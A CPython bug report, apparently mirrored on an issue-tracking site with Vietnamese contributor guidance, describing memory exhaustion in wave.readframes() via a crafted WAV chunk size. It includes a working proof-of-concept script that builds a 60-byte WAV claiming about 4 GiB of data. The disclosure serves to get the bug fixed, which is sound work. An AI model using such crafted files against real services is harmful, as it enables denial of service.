Memory Exhaustion in `wave.readframes()` via Crafted Chunk Size
Chưa có ai nhận issue này.
- Ngôn ngữ chính
- Python
- Star
- 77.2k
- Fork
- 35.9k
- Chỉ số merge pull request
- Chỉ số pull request đang chờ
Mô tả
Bug report
Bug description:
Summary
The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).
Details
_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():
https://github.com/python/cpython/blob/9633c5239daae3a180f8ce263ce77e4e522e6aa4/Lib/wave.py#L130
Reproducer
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295
"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""
import resource
import struct
import sys
import tempfile
import wave
CLAIMED_SIZE = 0xFFFFFFFF # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024 # 256 MiB
def build_crafted_wav() -> bytes:
"""Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
fmt_data = struct.pack(
"<HHLLHH",
1, # wFormatTag = WAVE_FORMAT_PCM
1, # nchannels = 1 (mono)
44100, # framerate
88200, # dwAvgBytesPerSec
2, # wBlockAlign (nchannels * sampwidth)
16, # wBitsPerSample
)
fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data
data_chunk = (
b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
)
riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
return riff_header + fmt_chunk + data_chunk
def main():
wav_bytes = build_crafted_wav()
with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
tmp.write(wav_bytes)
tmp.flush()
try:
w = wave.open(tmp.name, "r")
w.readframes(-1)
w.close()
except MemoryError:
print(
f"MemoryError from {len(wav_bytes)}-byte WAV "
f"with chunksize={CLAIMED_SIZE:,}"
)
sys.exit(0)
except Exception:
print("BLOCKED: wave rejected crafted chunksize")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if __name__ == "__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()
Impact
Memory Error
Related issue
https://github.com/python/cpython/issues/141713
CPython versions tested on:
3.15
Operating systems tested on:
Linux
Linked PRs
- gh-151487
- gh-151488
Hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Hướng nghiên cứu
Bắt đầu trong Lib/wave.py, đặc biệt là _Chunk.init và _Chunk.read(), sử dụng bộ tái hiện WAV được tạo cho issue. Xem lại các PR được liên kết gh-151487 và gh-151488 trước khi thực hiện thay đổi. Công việc được xem là hoàn tất khi bộ tái hiện không còn gây ra MemoryError do kích thước chunk được nêu và việc đọc WAV hợp lệ vẫn hoạt động bình thường.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Đánh giá
- Công nghệ
- python
- Lĩnh vực
- security
- Loại issue
- Lỗi
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức độ hoạt động
- Đình trệ
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức phù hợp với người mới
- 25/100